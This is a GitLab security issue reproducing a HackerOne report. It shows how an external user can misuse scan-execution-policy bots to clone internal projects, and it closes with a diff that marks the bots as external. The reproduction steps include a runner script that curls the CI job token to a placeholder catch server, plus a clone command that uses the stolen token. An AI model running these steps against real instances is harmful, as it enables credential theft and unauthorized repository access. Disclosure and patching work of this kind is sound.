:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2138880](https://hackerone.com/reports/2138880)** by `joaxcar` on 2023-09-06, assigned to `GitLab Team`: [Report](#report) | [How To Reproduce](#how-to-reproduce) ## Report #### Summary A user with `external` access can abuse `scan execution policies` bots to gain access to `internal` projects. This epic https://gitlab.com/groups/gitlab-org/-/epics/10756 that is now in production makes it so that any scan execution policies pipelines are run using a bot user instead of any other member of the project. This bot user only has membership to the project where it exits, but as the bot is not created as `external` but as a regular user this bot can be used by an `external` user to escalate access by being able to clone `internal` projects. This report builds on the knowledge described in this issue https://gitlab.com/gitlab-org/gitlab/-/issues/417594 #### Steps to reproduce Use a self-hosted instance with at least `Premium` subscription. We are going to use two users `ADMIN` and `EXTERNAL` ##### As ADMIN: 1. Log in and go to https://gitlab.example.com/admin/users and create another user and make sure to check the box `external` under "Access" 2. Create two groups, `internal_group` and `shared_group` 3. In the `internal_group` create a project `internal_project` (make sure to select `internal` access for the project) 4. In the `shared_group` create a project `shared_project` 5. Add the `EXTERNAL` user as `owner` in the project `shared_group/shared_project` ##### As EXTERNAL prepare project runner: The attacker needs to have access to a runner and use some form of VM to host the runner. You can use a Dropplet on any cloud provider or similar 1. Log in and go to https://gitlab.example.com/shared_group/shared_project/-/settings/ci_cd and expand the `runners` tab 2. Click "Create new project runner" 3. Fill out the form, make sure to fill in the checkbox "Run untagged jobs" 4. Follow the steps presented on the screen to Create and register a runner. When asked what executor to use make sure to select "shell" 5. SSH into your runner machine and create a bash file named analyzer at root level `/analyzer` run ``` nano /analyzer ``` type this in the file ``` ### !/bin/bash curl https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN} sleep 3600 ``` then run ``` root@ubuntu123$ chmod +x /analyzer ``` 6. The runner is ready. The bash script will leak the CI_JOB_TOKEN to your catch server and then sleep for an hour, making the token usable for the attacker ##### As EXTERNAL prepare the project: 1. go to https://gitlab.example.com/shared_group/shared_project/ and create a new file, name it "package.json". You can leave the file empty, this is just to have a SCAN policy to run 2. Go to https://gitlab.example.com/shared_group/shared_project/-/branches and create a new branch called "test" 3. Go to https://gitlab.example.com/shared_group/shared_project/-/security/policies and click "Edit policy project", search for "shared_project" and select it (this is the only project the `EXTERNAL` user have access to) 4. Click "New Policy" and select "Select Scan execution policy" 5. Switch to .yaml mode and paste this YAML ``` --- type: scan_execution_policy name: test description: hello enabled: true rules: - type: schedule branches: - test cadence: '*/16 * * * *' actions: - scan: sast tags: [] ``` 6. Select **Configure with a merge request** 7. Select **Merge.** 8. A new bot user will now have been created in this project. The scheduled policy will now run on the `test` branch every 16 minute 9. Wait for 15 mins or more and eventually you will get a request to your catch server like this `https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}` copy the token and use it in this curl command ``` CI_JOB_TOKEN=<TOKEN> git clone https://gitlab-ci-token:${CI_JOB_TOKEN}[@]gitlab.example.com/internal_group/internal_project ``` This will clone the internal project which the `EXTERNAL` user should not have access to #### Impact A user with external access can clone internal projects using a policy bot. (the bot also has access to a limited API set). To create a policy the attacker needs to be `owner` of a project, but if the bot already exists in the project (due to scan policies being used) then the attacker only needs `maintainer` access as the user only needs to do the latter part of the poc creating the runner. #### What is the current *bug* behavior? Policy bots are created as regular users and not as external users, thus they have access to internal projects #### What is the expected *correct* behavior? An external user should not be able to use an internal bot user to access internal content #### Impact A user with external access can clone internal projects using a policy bot. (the bot also have access to a limited set of the API) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues ## Implementation plan ```diff +++ b/ee/app/models/ee/user.rb @@ -244,6 +244,12 @@ def clear_group_with_ai_available_cache(ids) end end + def external? + return true if security_policy_bot? + + read_attribute(:external) + end + def cannot_be_admin_and_auditor if admin? && auditor? errors.add(:admin, 'user cannot also be an Auditor.') diff --git a/ee/app/services/security/orchestration/create_bot_service.rb b/ee/app/services/security/orchestration/create_bot_service.rb index 9bdf4a5e67df..e0871c3eaa9c 100644 --- a/ee/app/services/security/orchestration/create_bot_service.rb +++ b/ee/app/services/security/orchestration/create_bot_service.rb @@ -43,7 +43,8 @@ def bot_user_params email: username_and_email_generator.email, username: username_and_email_generator.username, user_type: :security_policy_bot, - skip_confirmation: true # Bot users should always have their emails confirmed. + skip_confirmation: true, # Bot users should always have their emails confirmed. + external: true } end ```